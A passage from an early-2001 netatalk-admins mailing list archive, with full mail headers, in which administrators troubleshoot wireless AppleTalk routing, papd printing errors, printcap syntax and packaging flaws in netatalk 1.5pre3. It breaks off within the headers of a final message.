	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 29 Jan 2001 13:58:00 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA11718
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 29 Jan 2001 13:54:38 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA11608
	for netatalk.administrators-members@umich.edu; Mon, 29 Jan 2001 13:54:33 -0500 (EST)
Received: from jax.cl.msu.edu (jax.cl.msu.edu [35.8.1.151])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA11235
	for <netatalk-admins@umich.edu>; Mon, 29 Jan 2001 13:54:28 -0500 (EST)
Received: by jax.cl.msu.edu (8.9.3+Sun/8.9.1) id NAA03238;
	Mon, 29 Jan 2001 13:53:46 -0500 (EST)
From: Steve Devine <sdevine@msu.edu>
Reply-To: sdevine@msu.edu
Organization: Michigan State University
To: kbaker3 <kbaker3@ic3.ithaca.edu>
Subject: Re: Wireless Appletalk
Date: Mon, 29 Jan 2001 13:50:53 -0500
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <3A6A02F5@meteor>
In-Reply-To: <3A6A02F5@meteor>
Cc: netatalk-admins@umich.edu
MIME-Version: 1.0
Message-Id: <01012913534607.02768@jax>
Content-Transfer-Encoding: 8bit

We are using netatalk (afpd only) w / tcpwrappers on a Sun Ultra-5. The base
station points at the Sun and the other machines connect via the base station
 On Mon, 29 Jan 2001, kbaker3 wrote:
> Anyone gotten netatalk running on a wireless network?  I am using the lucent 
> cards Wavelan/IEEE in ad-hoc mode...  I want my router to act as the head end 
> appletalk router defining networks and zones...  I am guessing the broadcast 
> is what is screwing it up...  I don't even get zones...  I took a working 
> atalkd config and just changed interfaces...  now it doesn't work on the 
> wireless... here is my config
> eth2 -router -net 50-55 -address 50.1 -zone "Stuff" -zone "Other Stuff"
> 
> (note the options might not be the exact terms  I am not at the box...)
> 
> Any help?
-- 
///////////////////////////////////
Steve Devine
Information Technology Professional
MSU Computer Laboratory
phone: (517) 355-4500 x242
fax: (517) 353-9847
/////////////////


From netatalk.administrators-errors@umich.edu  Mon Jan 29 21:09:15 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA10076
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 29 Jan 2001 21:09:15 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA27425
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 29 Jan 2001 21:09:15 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA27405
	for netatalk.administrators-members@umich.edu; Mon, 29 Jan 2001 21:09:14 -0500 (EST)
Received: from mailout2-0.nyroc.rr.com (mailout2-1.nyroc.rr.com [24.92.226.165])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id VAA27334
	for <netatalk-admins@umich.edu>; Mon, 29 Jan 2001 21:09:13 -0500 (EST)
Received: from mail1.twcny.rr.com (mail1-1 [24.92.226.139])
	by mailout2-0.nyroc.rr.com (8.11.2/RoadRunner 1.03) with ESMTP id f0U25em03179
	for <netatalk-admins@umich.edu>; Mon, 29 Jan 2001 21:05:40 -0500 (EST)
Message-Id: <200101300205.f0U25em03179@mailout2-0.nyroc.rr.com>
Received: from reaper.apt.null ([66.24.54.41]) by mail1.twcny.rr.com
          (Post.Office MTA v3.5.3 release 223
          ID# 0-59787U250000L250000S0V35) with ESMTP id com
          for <netatalk-admins@umich.edu>; Mon, 29 Jan 2001 20:59:11 -0500
Date: Mon, 29 Jan 2001 20:34:45 EST
From: Keith Baker <kbaker3@ic3.ithaca.edu>
To: netatalk-admins@umich.edu
Subject: More: Wireless...
Reply-To: kbaker3@ic3.ithaca.edu
X-Mailer: Spruce 0.6.5 for X11 w/smtpio 0.7.9
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit


oops!  forgot to specify...
My server is the head end router for netatalk and it has multiple
devices...

My ultimate goal is a head end appletalk router defining two zones on two
networks, one wired and the other wireless (Lucent cards in Ad-Hoc network
mode)

with -router on a single interface it works fine...  assumeing that
interface is wired.

how would I make my box head end router (so it creates zones and what not)
and have multiple interfaces...  all goes to hell when I put two router
lines...

I understand the access points use a managed mode which is quite
different...

From netatalk.administrators-errors@umich.edu  Tue Jan 30 07:44:16 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA20128
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 30 Jan 2001 07:44:16 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA21880
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 30 Jan 2001 07:44:16 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA21861
	for netatalk.administrators-members@umich.edu; Tue, 30 Jan 2001 07:44:16 -0500 (EST)
Received: from jbressm.vr.net (jbressm.vr.net [205.133.13.20])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA21825
	for <netatalk-admins@umich.edu>; Tue, 30 Jan 2001 07:44:14 -0500 (EST)
Received: from localhost (jbressm@localhost)
	by jbressm.vr.net (8.9.3/8.9.3) with ESMTP id HAA30713
	for <netatalk-admins@umich.edu>; Tue, 30 Jan 2001 07:44:09 -0500
Date: Tue, 30 Jan 2001 07:44:09 -0500 (EST)
From: "Joel M. Bressman" <jbressm+netatalk@mail.vr.net>
X-Sender: jbressm@jbressm.vr.net
To: netatalk-admins@umich.edu
Subject: subcribe
Message-ID: <Pine.LNX.4.10.10101300742540.30682-100000@jbressm.vr.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

subcribe


From netatalk.administrators-errors@umich.edu  Tue Jan 30 07:54:10 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA20257
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 30 Jan 2001 07:54:10 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA29852
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 30 Jan 2001 07:54:03 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA29846
	for netatalk.administrators-members@umich.edu; Tue, 30 Jan 2001 07:54:03 -0500 (EST)
Received: from jbressm.vr.net (jbressm.vr.net [205.133.13.20])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA29839
	for <netatalk-admins@umich.edu>; Tue, 30 Jan 2001 07:54:01 -0500 (EST)
Received: from localhost (jbressm@localhost)
	by jbressm.vr.net (8.9.3/8.9.3) with ESMTP id HAA30769
	for <netatalk-admins@umich.edu>; Tue, 30 Jan 2001 07:54:05 -0500
Date: Tue, 30 Jan 2001 07:54:05 -0500 (EST)
From: "Joel M. Bressman" <jbressm+netatalk@mail.vr.net>
X-Sender: jbressm@jbressm.vr.net
To: netatalk-admins@umich.edu
Subject: subscribe
Message-ID: <Pine.LNX.4.10.10101300753290.30767-100000@jbressm.vr.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

subcribe


From netatalk.administrators-errors@umich.edu  Tue Jan 30 09:55:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA22627
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 30 Jan 2001 09:55:46 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA25872
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 30 Jan 2001 09:55:46 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA25855
	for netatalk.administrators-members@umich.edu; Tue, 30 Jan 2001 09:55:45 -0500 (EST)
Received: from sunflare.ccs.yorku.ca (sunflare.ccs.yorku.ca [130.63.236.128])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA25818
	for <netatalk-admins@umich.edu>; Tue, 30 Jan 2001 09:55:44 -0500 (EST)
Received: from sunlight.ccs.yorku.ca (sunlight.ccs.yorku.ca [130.63.236.85])
	by sunflare.ccs.yorku.ca (8.9.3/8.9.3) with ESMTP id JAA13416;
	Tue, 30 Jan 2001 09:55:38 -0500 (EST)
Received: from localhost (rickg@localhost)
	by sunlight.ccs.yorku.ca (8.9.3/8.9.3) with ESMTP id JAA03723;
	Tue, 30 Jan 2001 09:55:37 -0500 (EST)
X-Authentication-Warning: sunlight.ccs.yorku.ca: rickg owned process doing -bs
Date: Tue, 30 Jan 2001 09:55:36 -0500 (EST)
From: Richard Goldberg <rickg@yorku.ca>
X-X-Sender:  <rickg@sunlight.ccs.yorku.ca>
To: Carsten Neumann <deltor@snafu.de>
cc: <netatalk-admins@umich.edu>
Subject: Re: printing problem
In-Reply-To: <01012623513902.04694@athlet>
Message-ID: <Pine.SOL.4.31.0101300945010.3149-100000@sunlight.ccs.yorku.ca>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Fri, 26 Jan 2001, Carsten Neumann wrote:

> On Fri, 26 Jan 2001, Richard Goldberg wrote:
> > Hi all,
> >
> > My papd.conf file is set up as follows:
> > Colour Test:\
> >         :pr=test:\
> >         :op=lp:\
> >         :pd=/etc/atalk/ppd/lexmark_optrac710.ppd:
> >
> > When I  try to print someting, I get an error on the mac saying
> > "Document could not be printed on printer "Printername" because of a
> > PostScript error". In the log file on my atalkd server I get:
> >
> > Jan 26 13:31:27 <server> papd[9128]: getppdent: line too long
> > Jan 26 13:31:27 <server> papd[9128]: lp_init: lock: No such file or directory
> > Jan 26 13:31:27 <server> papd[9128]: lp_open failed
> >
> > I thought the "line too long "error was due to the lf/cr issue between mac
> > and unix but I ran tr "\015" "\012" < orig.ppd > temp.ppd and the
> > error still comes up.
>
> Have you tried to setup the printer on your Mac after tr-ing your PPD file?
> (and renaming the temp file? ;-))
> Just to re-read the ppd file.

Yup tried that with the same result.

>
> >
> > I know I can fix the other error (lp_init/lp_open) by changing the conf
> > file to
> > 	:pr=|/usr/bin/lpr -Ptest:\
> > are there any disadvantages to this?
>
> I had similar problems: job was queued but no daemon started.
> The error messages were others:
> 	Jan 11 03:23:19 athlet papd[5733]: lp_conn_unix connect /dev/printer: Connection refused
> 	Jan 11 03:23:19 athlet papd[5733]: lp_print: lp_conn_unix: Connection refused
> Just piping to lpr solved this.
> Had no problems until now.
>
> >
> > Are there any other ways to fix this problem?
> >
> > Why does this problem happen?
>
> Are the spool directory and its files owned by lp?
> What is your printcap entry for test?
>

Thats a good point. The dirs were owned by daemon not lp, but I changed
the papd.conf file to op=daemon and restarted atalk and I still get the
same errors.

The printcap entry for this printer is:
test|colourlp\
:server\
:rw:sh:sf\
:lp=colorlp.irus.rri.on.ca%9100\
:mx#0\
:lf=/var/spool/lpd/colour/colour-errs\
:sd=/var/spool/lpd/colour\
:af=/var/spool/lpd/colour/test-account\
:la\
:ifhp=model=colour,config=/etc/ifhp.conf\
:if=/usr/local/lib/filters/ifhp\
:of=/usr/local/lib/filters/ofhp

this is actually /etc/printcap.papd (and I give the -p /etc/printcap.papd
to papd when I start it). I need to do it this way since my main
printcap file is in lprng format. This should still work though.

If I change the pr line to pipe to lpr I don't get the lp_conn_unix and
lp_print errors, but I still get the line too long error.

-Rick Goldberg


From netatalk.administrators-errors@umich.edu  Tue Jan 30 10:05:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA22773
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 30 Jan 2001 10:05:20 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA14128
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 30 Jan 2001 10:05:20 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA14104
	for netatalk.administrators-members@umich.edu; Tue, 30 Jan 2001 10:05:19 -0500 (EST)
Received: from sunflare.ccs.yorku.ca (sunflare.ccs.yorku.ca [130.63.236.128])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA13988
	for <netatalk-admins@umich.edu>; Tue, 30 Jan 2001 10:05:18 -0500 (EST)
Received: from sunlight.ccs.yorku.ca (sunlight.ccs.yorku.ca [130.63.236.85])
	by sunflare.ccs.yorku.ca (8.9.3/8.9.3) with ESMTP id KAA14721;
	Tue, 30 Jan 2001 10:05:10 -0500 (EST)
Received: from localhost (rickg@localhost)
	by sunlight.ccs.yorku.ca (8.9.3/8.9.3) with ESMTP id KAA04133;
	Tue, 30 Jan 2001 10:05:09 -0500 (EST)
X-Authentication-Warning: sunlight.ccs.yorku.ca: rickg owned process doing -bs
Date: Tue, 30 Jan 2001 10:05:09 -0500 (EST)
From: Richard Goldberg <rickg@yorku.ca>
X-X-Sender:  <rickg@sunlight.ccs.yorku.ca>
To: Christian Schmidt <ChriSchmiLi@gmx.de>
cc: <netatalk-admins@umich.edu>
Subject: Re: printing problem
In-Reply-To: <p04310100b698882c8310@[192.168.2.2]>
Message-ID: <Pine.SOL.4.31.0101301004380.3149-100000@sunlight.ccs.yorku.ca>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Sat, 27 Jan 2001, Christian Schmidt wrote:

> Richard Goldberg wrote:
>
> >  When I  try to print someting, I get an error on the mac saying
> >  "Document could not be printed on printer "Printername" because of a
> >  PostScript error". In the log file on my atalkd server I get:
> >
> >  Jan 26 13:31:27 <server> papd[9128]: getppdent: line too long
> >  Jan 26 13:31:27 <server> papd[9128]: lp_init: lock: No such file or directory
> >  Jan 26 13:31:27 <server> papd[9128]: lp_open failed
>
> I always got the same message although my printer worked fine.
> I got rid of it by transferring the PPD file via ftp as ASCII Text
> onto the server.
> => It was a problem resulting from the different LF/CR handling.
>
> >  I thought the "line too long "error was due to the lf/cr issue between mac
> >  and unix but I ran tr "\015" "\012" < orig.ppd > temp.ppd and the
> >  error still comes up.
>
> Try ftp-ing it from the mac to the server and choose "ASCII Text"
> transfer mode.
>
> >  I know I can fix the other error (lp_init/lp_open) by changing the conf
> >  file to
> >  	:pr=|/usr/bin/lpr -Ptest:\
> >  are there any disadvantages to this?
>
> No, I don't think so.
>

I tried to ftp it in ascii mode with the same result.

-Rick Goldberg


From netatalk.administrators-errors@umich.edu  Tue Jan 30 11:48:50 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA26436
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 30 Jan 2001 11:48:50 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA29802
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 30 Jan 2001 11:48:50 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA29784
	for netatalk.administrators-members@umich.edu; Tue, 30 Jan 2001 11:48:50 -0500 (EST)
Received: from henry.newn.cam.ac.uk (henry.newn.cam.ac.uk [131.111.204.130])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA29698; Tue, 30 Jan 2001 11:48:47 -0500 (EST)
Received: from [131.111.204.180] (helo=quartz.newn.cam.ac.uk)
	by henry.newn.cam.ac.uk with esmtp (Exim 3.13 #1)
	id 14NWol-0004X5-00; Tue, 30 Jan 2001 09:11:15 +0000
Received: from prlw1 by quartz.newn.cam.ac.uk with local (Exim 3.13 #1)
	id 14NdxU-0007RQ-00; Tue, 30 Jan 2001 16:48:44 +0000
Date: Tue, 30 Jan 2001 16:48:44 +0000
From: Patrick Welche <prlw1@newn.cam.ac.uk>
To: Bill Brehm <wwb@terminator.rsug.itd.umich.edu>
Cc: netatalk-admins@umich.edu, netatalk@umich.edu
Subject: Re: install probs
Message-ID: <20010130164844.L12837@quartz.newn.cam.ac.uk>
Reply-To: prlw1@cam.ac.uk
References: <20010129201713.I5358@quartz.newn.cam.ac.uk> <200101292039.PAA03075@terminator.rsug.itd.umich.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <200101292039.PAA03075@terminator.rsug.itd.umich.edu>; from wwb@terminator.rsug.itd.umich.edu on Mon, Jan 29, 2001 at 03:39:52PM -0500

So, I must add to the bug report below: please change the address in the
file "BUGS":

Please use this format when reporting bugs to netatalk@umich.edu.

Oh - I see: this isn't a problem, it is a bug: the distro is assuming things
about whether or not I have autoconf/libtool and co installed, and where I
have it installed. I believe you should be including the relevant files in
the distro, not tarring up symbolic links to them...

Cheers,

Patrick

On Mon, Jan 29, 2001 at 03:39:52PM -0500, Bill Brehm wrote:
> The netatalk list is just for bug reports and version annoucements. Problems
> should be sent to netatalk-admins@umich.edu.
> 
> > From:    Patrick Welche <prlw1@newn.cam.ac.uk>
> > To:      netatalk@umich.edu
> 
> > Environment:
> > netatalk-1.5pre3.tar.bz2
> > NetBSD-1.5Q/i386
> > 
> > Description:
> > Should these be links, real files, not be there at all?
> > COPYING -> /usr/share/automake/COPYING
> > config.guess -> /usr/share/libtool/config.guess
> > config.sub -> /usr/share/libtool/config.sub
> > ltconfig -> /usr/share/libtool/ltconfig
> > ltmain.sh -> /usr/share/libtool/ltmain.sh
> > missing -> /usr/share/automake/missing
> > mkinstalldirs -> /usr/share/automake/mkinstalldirs
> > 
> > Leads to configure not running as it wants config.sub..
> > 
> > README refers to files in INSTALL/, but said directory is empty.
> > 
> > (minor point, README mentions 5 OSes yet there are rather more
> > mentioned in sys/ )
> > Repeat-By:
> > Fix:
> > Can't really guess... Check the distrib?

From netatalk.administrators-errors@umich.edu  Tue Jan 30 12:31:38 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA27301
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 30 Jan 2001 12:31:38 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA07224
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 30 Jan 2001 12:31:38 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA07200
	for netatalk.administrators-members@umich.edu; Tue, 30 Jan 2001 12:31:37 -0500 (EST)
Received: from smtp.Stanford.EDU (smtp.Stanford.EDU [171.64.14.23])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA07158
	for <netatalk-admins@umich.edu>; Tue, 30 Jan 2001 12:31:36 -0500 (EST)
Received: from [171.64.20.156] (mac-kent.Stanford.EDU [171.64.20.156])
	by smtp.Stanford.EDU (8.11.1/8.11.1) with ESMTP id f0UHVXW10984
	for <netatalk-admins@umich.edu>; Tue, 30 Jan 2001 09:31:34 -0800 (PST)
Mime-Version: 1.0
X-Sender: reuber@reuber.pobox.stanford.edu
Message-Id: <v04220800b69caac7938c@[171.64.20.156]>
Date: Tue, 30 Jan 2001 09:31:26 -0800
To: netatalk-admins@umich.edu
From: Kent Reuber <reuber@stanford.edu>
Subject: AppleTalk net size
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Without a router, what's the limit on AppleTalk nodes.  253?

Kent
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Kent Reuber (reuber@stanford.edu)                     Phone (650)725-8092
Senior Networking Specialist                          Fax  (650) 723-0908
Networking Systems                              241 Panama St., Pine Hall
Stanford University                               Stanford, CA 94305-4122
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

From netatalk.administrators-errors@umich.edu  Tue Jan 30 17:20:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA04830
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 30 Jan 2001 17:20:28 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA21862
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 30 Jan 2001 17:20:23 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA21847
	for netatalk.administrators-members@umich.edu; Tue, 30 Jan 2001 17:20:22 -0500 (EST)
Received: from smart.visp-europe.psi.com (smart.visp-europe.psi.com [212.222.105.5])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA21816
	for <netatalk-admins@umich.edu>; Tue, 30 Jan 2001 17:20:21 -0500 (EST)
Received: from n241-20.berlin.snafu.de ([195.21.241.20] helo=athlet.deltaman.de)
	by smart.visp-europe.psi.com with esmtp (Exim 3.22 #1)
	id 14Nj8S-0001qb-00
	for netatalk-admins@umich.edu; Tue, 30 Jan 2001 23:20:24 +0100
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id XAA28953
	for <netatalk-admins@umich.edu>; Tue, 30 Jan 2001 23:19:52 +0100
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: printing problem
Date: Tue, 30 Jan 2001 23:18:01 +0100
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <Pine.SOL.4.31.0101300945010.3149-100000@sunlight.ccs.yorku.ca>
In-Reply-To: <Pine.SOL.4.31.0101300945010.3149-100000@sunlight.ccs.yorku.ca>
MIME-Version: 1.0
Message-Id: <01013022464500.26981@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id RAA04830

On Tue, 30 Jan 2001, Richard Goldberg wrote:
[snip]
> The printcap entry for this printer is:
> test|colourlp\
> :server\
> :rw:sh:sf\
> :lp=colorlp.irus.rri.on.ca%9100\
> :mx#0\
> :lf=/var/spool/lpd/colour/colour-errs\
> :sd=/var/spool/lpd/colour\
> :af=/var/spool/lpd/colour/test-account\
> :la\
> :ifhp=model=colour,config=/etc/ifhp.conf\
> :if=/usr/local/lib/filters/ifhp\
> :of=/usr/local/lib/filters/ofhp

Oops, you omitted tho colons ':' just before each backslash, and after the last entry:

test|colourlp:\
	:server:\
	:rw:sh:sf:\
	:lp=colorlp.irus.rri.on.ca%9100:\
	:mx#0:\
	:lf=/var/spool/lpd/colour/colour-errs:\
	:sd=/var/spool/lpd/colour:\
	:af=/var/spool/lpd/colour/test-account:\
	:la:\
	:ifhp=model=colour,config=/etc/ifhp.conf:\
	:if=/usr/local/lib/filters/ifhp:\
	:of=/usr/local/lib/filters/ofhp:

OK, if you don't indent your printcap entry lines the colons before the escape chars (backslash)
might not be necessary, but that at the end is.

> 
> this is actually /etc/printcap.papd (and I give the -p /etc/printcap.papd
> to papd when I start it). I need to do it this way since my main
> printcap file is in lprng format. This should still work though.

Probably lprng is more relax regarding the format of the printcap entries, but I just can guess.
I'm using BSD spooling.

> 
> If I change the pr line to pipe to lpr I don't get the lp_conn_unix and
> lp_print errors, but I still get the line too long error.

Does your PPD file look sane?
Tr-ing my PPD file and "Auto Setup" the printer (on Mac) solved my problem.

BTW: piping through lpr was the only way to get non-postscript data sent to my printer.
This is a NEC Silentwriter LC 890 and has only PS level 1, laserjet, and diablo emulation.
If I want to print postscript level 2, I need put the printer into laserjet modus use ghostscript,
and send its output via pap directly to my printer. I didn't manage to use psf somehow to send the
data.

> 
> -Rick Goldberg

Regards

	Carsten

From netatalk.administrators-errors@umich.edu  Tue Jan 30 19:04:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA07515
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 30 Jan 2001 19:04:42 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA26793
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 30 Jan 2001 19:04:37 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA26780
	for netatalk.administrators-members@umich.edu; Tue, 30 Jan 2001 19:04:37 -0500 (EST)
Received: from mail.tiscalinet.it (mail-5.tiscalinet.it [195.130.225.151])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA26764
	for <netatalk-admins@umich.edu>; Tue, 30 Jan 2001 19:04:35 -0500 (EST)
Received: from tiscalinet.it (62.11.53.11) by mail.tiscalinet.it (5.5.015.5)
        id 3A51E96C005E1655 for netatalk-admins@umich.edu; Wed, 31 Jan 2001 01:03:56 +0100
Sender: stk@tiscalinet.it
Message-ID: <3A7757A4.4984F97D@tiscalinet.it>
Date: Wed, 31 Jan 2001 01:09:08 +0100
From: STK <essetikappa@tiscalinet.it>
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.18 i586)
X-Accept-Language: it, en
MIME-Version: 1.0
To: netatalk <netatalk-admins@umich.edu>
Subject: netatalk printing problems via samba
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

hi all
i'm new in netatalk and need some help.

i've a linux server (redhat6.2) with samba, with some win9x client, few
macos and a laserwriter printer. i've success configuring samba with
win9x and macos by dave client (v2.x). the problem is to share the
laserwriter trough all the net.

i've installed the netatalk-1.5pre rpm (i've tried also with 1.4-asun)
and follow the instruction of www.andersen.com guide for impatient and
the appleprint-howt to configure the printer.

all seems to work but:

from the macos chooser i cant see anything: the appleshare and
laserwriter icons show nothing: i mean i need to serch the server trough
ip number.

if i type getzones i get nothing, but with nbplkup i get the list of the
machines. also aecho works.

i've modified the /etc/printcap using different filters: i can see the
printer in win network, but the printer is paused and don't print
anything. from the macos client i can't print because an error #810, if
i remember right.

modifing the papd.conf i get a new printer in nbplkup but i cant see it
in the chooser tab.

i 've success in printing from the linux box

someone can help me, please????

bye

From netatalk.administrators-errors@umich.edu  Wed Jan 31 01:11:35 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id BAA14484
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 31 Jan 2001 01:11:35 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id BAA11057
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 31 Jan 2001 01:11:35 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id BAA11047
	for netatalk.administrators-members@umich.edu; Wed, 31 Jan 2001 01:11:35 -0500 (EST)
Received: from winery.garlic.com (winery-en0b.garlic.com [216.139.31.163])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id BAA11008
	for <netatalk-admins@umich.edu>; Wed, 31 Jan 2001 01:11:32 -0500 (EST)
Received: (from johana@localhost)
	by winery.garlic.com (8.11.1/8.11.1) id f0V6BTF98842
	for netatalk-admins@umich.edu; Tue, 30 Jan 2001 22:11:29 -0800
Received:  by johana.com (UUPC/extended 1.12p);
           Tue, 30 Jan 2001 20:32:42 -0800
Message-ID: <3a77956a.johana@johana.com>
Date:      Tue, 30 Jan 2001 20:32:42 -0800
